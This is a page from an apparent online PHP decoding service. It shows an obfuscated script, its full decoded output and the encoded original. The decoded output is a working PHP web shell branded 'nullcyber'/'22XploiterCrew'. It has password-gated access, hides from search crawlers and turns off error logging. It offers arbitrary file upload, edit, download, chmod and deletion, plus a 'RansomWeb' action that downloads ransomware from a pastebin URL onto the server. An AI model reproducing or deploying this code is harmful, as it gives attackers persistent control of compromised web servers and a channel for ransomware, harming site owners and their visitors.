Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = '=ca6G67L5jGwD8PIkeJIIeHyC/8hocLTJwxj4NGza54R6M6lPoGVyFc/idIuL3Hd8JXh1zBg/FF..

Decoded Output download

?>b'<?php
session_start();
error_reporting(0);
set_time_limit(0);
@clearstatcache();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
@ini_set(\'display_errors\', 0);

$auth_pass = "2ac0c04b82118d6f0ddb55efd490df8d"; // admin
$color = "#00ff00";
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'UTF-8\';
if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
        header(\'HTTP/1.0 404 Not Found\');
        exit;
    }
}

function login_shell() {
?>
<!DOCTYPE html>
<html>
	<title>nullcyber</title>
	<head>
		<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>
		<meta name="author" content="CodeXploit,null"/>
		<meta name="copyright" content="22XploiterCrew"/>
		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"/>
	</head>
	<body class="bg-dark text-light">
		<center>
			<br/><h3>NULLCYBER</h3><hr/><br/>
			<div class="container">
				<div class="col-lg-6">
					<div class="form-group">
					<h5> Silahkan Masuk</h5>
					<br/>
						<form method="post">
							<input type="password" name="pass" placeholder="Password" class="form-control"><br/>
							<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">
						</form>
					</div>
				</div><br/>
			</div>
		</center>
	</body>
</html>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))
    if( empty($auth_pass) || ( isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass) ) )
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
    else
        login_shell();
if(isset($_GET[\'file\']) && ($_GET[\'file\'] != \'\') && ($_GET[\'act\'] == \'download\')) {
    @ob_clean();
    $file = $_GET[\'file\'];
    header(\'Content-Description: File Transfer\');
    header(\'Content-Type: application/octet-stream\');
    header(\'Content-Disposition: attachment; filename="\'.basename($file).\'"\');
    header(\'Expires: 0\');
    header(\'Cache-Control: must-revalidate\');
    header(\'Pragma: public\');
    header(\'Content-Length: \' . filesize($file));
    readfile($file);
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
		<meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.75, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"/>
  <!-- Custom styles for this template -->
  <style>
body {
  overflow-x: hidden;
}
.ico {width:20px;}
.ico2{width:20px;}
#sidebar-wrapper {
  min-height: 100vh;
  margin-left: -15rem;
  -webkit-transition: margin .25s ease-out;
  -moz-transition: margin .25s ease-out;
  -o-transition: margin .25s ease-out;
  transition: margin .25s ease-out;
}

#sidebar-wrapper .sidebar-heading {
  padding: 0.875rem 1.25rem;
  font-size: 1.2rem;
}

#sidebar-wrapper .list-group {
  width: 15rem;
}

#page-content-wrapper {
  min-width: 100vw;
}

#wrapper.toggled #sidebar-wrapper {
  margin-left: 0;
}

@media (min-width: 768px) {
  #sidebar-wrapper {
    margin-left: 0;
  }

  #page-content-wrapper {
    min-width: 0;
    width: 100%;
  }

  #wrapper.toggled #sidebar-wrapper {
    margin-left: -15rem;
  }
}
  </style>
</head>
<body>

 
    <!-- /#sidebar-wrapper -->

    <!-- Page Content -->
    <div id="page-content-wrapper">

      <nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom">
        <button class="btn btn-primary" id="menu-toggle"><i class="fa fa-user"></i></button>

        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
          <span class="navbar-toggler-icon"></span>
        </button>

        <div class="collapse navbar-collapse" id="navbarSupportedContent">
          <ul class="navbar-nav ml-auto mt-2 mt-lg-0">
            <li class="nav-item active">
              <a class="nav-link" href="?">Home <span class="sr-only">(current)</span></a>
            </li>
            <li class="nav-item">
             
<?php
if(isset($_GET[\'path\'])){
$path = $_GET[\'path\'];
}else{
$path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);

foreach( $paths as $id => $pat ){
if( $pat == \'\' && $id == 0 ){
$a = true;
echo \'Current Dir => <a href="?path=/">/</a>\';
continue;
}
if( $pat == \'\' ) continue;
echo \'<a href="?path=\';
for( $i = 0; $i <= $id; $i++){
echo "$paths[$i]";
if( $i != $id ) echo "/";
}
echo \'">\'.$pat.\'</a>/\';
}
?>
             
            </li>
            <li class="nav-item dropdown">
              <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                Informasi & Upload
              </a>
              <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown">
                <a class="dropdown-item" href="?info">Info Server</a>
                <div class="dropdown-divider"></div>
                <center>
               <form method="post" enctype="multipart/form-data">
               	<input type="file" name="file"><input type="submit" name="upload" value="Upload">
               </form>
               </center>
              </div>
            </li>
          </ul>
        </div>
      </nav>
 <div class="d-flex" id="wrapper">
    <!-- Sidebar -->
    <div class="bg-light border-right" id="sidebar-wrapper">
      <div class="sidebar-heading"><i class="fas fa-tachometer-alt"></i><a href="?" class="text-dark"> 22XploiterCrew</a></div>
      <div class="list-group list-group-flush">
      	<?php
      	echo "<a href=\'?path=$path&aksi=buatfolder\' class=\'list-group-item list-group-item-action bg-light\'><i class=\'fas fa-folder-open\'></i> Buat Folder</a>
      	<a href=\'?path=$path&aksi=buatfile\' class=\'list-group-item list-group-item-action bg-light\'><i class=\'fas fa-file\'></i> Buat File</a>
      	<a href=\'?path=$path&aksi=ransom\' class=\'list-group-item list-group-item-action bg-light\'><i class=\'fa fa-exclamation-triangle\'></i> RansomWeb</a>";
      	?>
        <a href=\'?keluar=true\' class=\'list-group-item list-group-item-action bg-light\'><i class=\'fas fa-sign-out-alt\'></i> Logout</a>
        
      </div>
    </div>
      <div class="container-fluid">
        
        
<?php
if($_GET["keluar"] == true){
unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
	echo "<script>window.location=\'?\';</script>";
}
if($_GET[\'aksi\'] == \'buatfolder\'){
	function hai(){
		echo "<script>window.location=\'?path=".$path."\'; alert(\'Folder Sukses Dibuat!\')</script>";
	}
	if(isset($_POST["folderss"])){
		$nama_folder = $path.\'/\'.$_POST["namaF"];
		mkdir($nama_folder,hai());
	}
		
	echo \'
	<div class="row mt-3">
		<div class="col">
			<form method="post">
	<input type="text" name="namaF" class="form-control mb-3" placeholder="Nama Folder">
		</div>
		<div class="col">
			<input type="submit" class="btn btn-outline-primary btn-block" value="Buat" name="folderss"></form>
				</div>
				</div>\';
}elseif($_GET["aksi"] == \'ransom\'){
	
	
// Ubah Link ransomnya jika ingin ganti ransomware yangvlain
	$url  = "https://pastebin.com/raw/LbVhNnZF";
  $curl = curl_init($url);
  				curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
  $get	= curl_exec($curl);
 if(!$get == ""){ // Jika isi file dari url tidak kosong
// Buat file
$puts = fopen("RansomWeb.php","w");
				fwrite($puts,$get);
				fclose($puts);
$nama_file  = "RansomWeb.php";
$server_web = \'http://\'.$_SERVER["HTTP_HOST"].\'/\';
if($puts == true){
	echo "<script>window.location=\'?path=".$path."\'; alert(\'Sukses\')</script>";
}else{
	echo "Gagal Membuat File";
	}
}else{
	echo "Not Found!!";
}

	
}elseif($_GET["aksi"] == \'buatfile\'){
	if(isset($_POST["buat"])){
	$namaF = $path.\'/\'.$_POST["nama_file"];
	$isi = $_POST["isi"];
	$buat = fopen($namaF,"w");
	fwrite($buat,$isi);
	fclose($buat);
	if($buat == TRUE){
		echo "<script>window.location=\'?path=".$path."\'; alert(\'Sukses\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
}
echo \'<form method="post" class="mt-3">
	<input type="text" class="form-control mb-3" placeholder="Nama File" name="nama_file">
		<textarea class="form-control mb-3" rows="8" name="isi" placeholder="Isi File"></textarea>
		<input type="submit" name="buat" class="btn btn-outline-primary" value="Buat">\';
}else

// Informasi Server

if(isset($_GET["info"])){
echo \'
	<div class="alert alert-success mt-3">
		<h3 class="text-center">Informasi Server</h3><hr>
		<li>Nama Server : \'.$_SERVER["SERVER_NAME"].\'</li>
		<li>Ip Address : \'.$_SERVER["SERVER_ADDR"].\'</li>
		<li>Port : \'.$_SERVER["SERVER_PORT"].\'</li>
		<li>Protokol : \'.$_SERVER["SERVER_PROTOCOL"].\'</li>
		<li>Save Data : \'.$_SERVER["HTTP_SAVE_DATA"].\'</li>
		<li>Koneksi : \'.$_SERVER["HTTP_CONNECTION"].\'</li>
		<li>Software : \'.$_SERVER["SERVER_SOFTWARE"].\'</li>
		<li>Dokumen Root : \'.$_SERVER["DOCUMENT_ROOT"].\'</li>
		<li>G-Interface : \'.$_SERVER["GATEWAY_INTERFACE"].\'</li>
		<li>R-Method : \'.$_SERVER["REQUEST_METHOD"].\'</li>
		<li>Your Browser : \'.$_SERVER["HTTP_USER_AGENT"].\'</li>
		</div>\';
}else if(isset($_FILES[\'file\'])){
if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Valid!!\')</script>";
}else{
echo "<script>alert(\'Gagal Upload\')</script>";
}
}else if(isset($_GET[\'filesrc\'])){
echo "<tr><td>Current File : ";
echo $_GET[\'filesrc\'];
echo \'</tr></td></table><br />\';
echo(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');
}else if(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
echo \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';
if($_POST[\'opt\'] == \'chmod\'){
if(isset($_POST[\'perm\'])){
if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Sukses\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
}
echo \'<form method="POST">
	<div class="row">
		<div class="col">
<input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" class="form-control">
	</div>
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="chmod">
	<div class="col">
<input type="submit" value="Go" class="btn btn-outline-primary btn-block">
	</div>
	</div>
</form>\';
}else if($_POST[\'opt\'] == \'rename\'){
if(isset($_POST[\'newname\'])){
if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Nama Telah Diubah!\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
$_POST[\'name\'] = $_POST[\'newname\'];
}
echo \'<form method="POST">
	<div class="row">
		<div class="col">
<input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" class="form-control" placeholder="Nama Baru">
	</div>
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="rename">
	<div class="col">
<input type="submit" value="Go" class="btn btn-outline-primary btn-block">
</div>
</div>
</form>\';
}else if($_POST[\'opt\'] == \'edit\'){
if(isset($_POST[\'src\'])){
$fp = fopen($_POST[\'path\'],\'w\');
if(fwrite($fp,$_POST[\'src\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Berhasil Merubah Nama File\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
fclose($fp);
}
echo \'<form method="POST">
<textarea class="form-control" rows="8" name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea>
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Simpan" class="btn btn-outline-primary btn-block mt-3">
</form>\';
}
echo \'</center>\';
}else{
echo \'</table><br/><center>\';
if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
if($_POST[\'type\'] == \'dir\'){
if(rmdir($_POST[\'path\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Sukses Menghapus Folder\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
}else if($_POST[\'type\'] == \'file\'){
if(unlink($_POST[\'path\'])){
echo "<script>window.location=\'?path=".$path."\'; alert(\'Sukses Menghapus File\')</script>";
}else{
echo "<script>window.location=\'?path=".$path."\'; alert(\'Gagal!!!\')</script>";
}
}
}
echo \'</center>\';
$scandir = scandir($path);
echo \'
<div class="table-responsive-lg mt-2">
	<table class="table table-hover">
		<thead class="bg-warning text-center">
			<tr>
				<th scope="col">Nama</th>
				<th scope="col">Jenis</th>
				<th scope="col">Ukuran</th>
				<th scope="col">Perizinan</th>
				<th scope="col">Aksi</th></tr></thead>
	\';
	foreach($scandir as $dir){
if(!is_dir($path.\'/\'.$dir) || $dir == \'.\' || $dir == \'..\') continue;
echo \'<tr>
<td scope="col"><img src="http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png" class="ico"> <a href="?path=\'.$path.\'/\'.$dir.\'">\'.$dir.\'</a></td>
<td class="text-center">Folder</td>
<td class="text-center">--</td>
<td class="text-center">\';
if(is_writable($path.\'/\'.$dir)) echo \'<font color="green">\';
elseif(!is_readable($path.\'/\'.$dir)) echo \'<font color="red">\';
echo perms($path.\'/\'.$dir);
if(is_writable($path.\'/\'.$dir) || !is_readable($path.\'/\'.$dir)) echo \'</font>\';

echo \'</td>
<td class="text-center"><form method="POST" action="?option&path=\'.$path.\'">
	<div class="row">
		<div class="col">
<select name="opt" class="custom-select">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
</div>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="\'.$dir.\'">
<input type="hidden" name="path" value="\'.$path.\'/\'.$dir.\'">
	<div class="col">
<input type="submit" value=">" class="btn btn-outline-primary btn-block">
	</div>
	</div>
</form></td>
</tr>\';
}
foreach($scandir as $file){
if(!is_file($path.\'/\'.$file)) continue;
$size = filesize($path.\'/\'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).\' MB\';
}else{
$size = $size.\' KB\';
}

echo \'<tr>
<td><img src="\';
					$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
					if($ext == "php") {
						echo \'https://image.flaticon.com/icons/png/128/337/337947.png"\';
					}elseif ($ext == "html") {
						echo \'https://image.flaticon.com/icons/png/128/136/136528.png"\';
					}elseif ($ext == "css") {
						echo \'https://image.flaticon.com/icons/png/128/136/136527.png"\';
					}elseif ($ext == "png") {
						echo \'https://image.flaticon.com/icons/png/128/136/136523.png"\';
					}elseif ($ext == "jpg") {
						echo \'https://image.flaticon.com/icons/png/128/136/136524.png"\';
					}elseif ($ext == "jpeg") {
						echo \'http://i.imgur.com/e8mkvPf.png"\';
					}elseif($ext == "zip") {
						echo \'https://image.flaticon.com/icons/png/128/136/136544.png"\';
					}elseif ($ext == "js") {
						echo \'https://image.flaticon.com/icons/png/128/1126/1126856.png\';
					}elseif ($ext == "ttf") {
						echo \'https://image.flaticon.com/icons/png/128/1126/1126892.png\';
					}elseif ($ext == "otf") {
						echo \'https://image.flaticon.com/icons/png/128/1126/1126891.png\';
					}elseif ($ext == "txt") {
						echo \'https://image.flaticon.com/icons/png/128/136/136538.png\';
					}elseif ($ext == "ico") {
						echo \'https://image.flaticon.com/icons/png/128/1126/1126873.png\';
					}elseif ($ext == "conf") {
						echo \'https://image.flaticon.com/icons/png/512/1573/1573301.png\';
					}elseif ($ext == "htaccess") {
						echo \'https://image.flaticon.com/icons/png/128/1720/1720444.png\';
					}elseif ($ext == "sh") {
						echo \'https://image.flaticon.com/icons/png/128/617/617535.png\';
					}elseif ($ext == "py") {
						echo \'https://image.flaticon.com/icons/png/128/180/180867.png\';
					}elseif ($ext == "sql") {
						echo \'https://img.icons8.com/ultraviolet/2x/data-configuration.png\';
					}elseif ($ext == "pl") {
						echo \'http://i.imgur.com/PnmX8H9.png\';
					}elseif ($ext == "pdf") {
						echo \'https://image.flaticon.com/icons/png/128/136/136522.png\';
					}elseif ($ext == "mp4") {
						echo \'https://image.flaticon.com/icons/png/128/136/136545.png\';
					}elseif ($ext == "mp3") {
						echo \'https://image.flaticon.com/icons/png/128/136/136548.png\';
					}elseif ($ext == "git") {
						echo \'https://image.flaticon.com/icons/png/128/617/617509.png\';
					}elseif ($ext == "md") {
						echo \'https://image.flaticon.com/icons/png/128/617/617520.png\';
					}else{
						echo \'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png\';
					}
					echo \'" class="ico2"> <a href="?filesrc=\'.$path.\'/\'.$file.\'&path=\'.$path.\'">\'.$file.\'</a></td>
<td class="text-center">File</td>
<td class="text-center">\'.$size.\'</td>
<td class="text-center">\';
if(is_writable($path.\'/\'.$file)) echo \'<font color="green">\';
elseif(!is_readable($path.\'/\'.$file)) echo \'<font color="red">\';
echo perms($path.\'/\'.$file);
if(is_writable($path.\'/\'.$file) || !is_readable($path.\'/\'.$file)) echo \'</font>\';
echo \'</td>
<td class="text-center">
	<form method="POST" action="?option&path=\'.$path.\'">
		<div class="row">
			<div class="col">
<select name="opt" class="custom-select">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
</div>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="\'.$file.\'">
<input type="hidden" name="path" value="\'.$path.\'/\'.$file.\'">
	<div class="col">
<input type="submit" value="OK" class="btn btn-outline-primary btn-block">
	</div>
	</div>
</form></td>
</tr>\';
}
echo \'</table>
</div>\';
}
?>
        
        
      </div>
    </div>
    <!-- /#page-content-wrapper -->
  </div>
  <!-- /#wrapper -->

  <!-- Bootstrap core JavaScript -->
  <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>

  <!-- Menu Toggle Script -->
  <script>
    $("#menu-toggle").click(function(e) {
      e.preventDefault();
      $("#wrapper").toggleClass("toggled");
    });
  </script>

</body>
</html>
<?php
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));

return $info;
}
?>'

Did this file decode correctly?

Original Code

<?php
$enc = '=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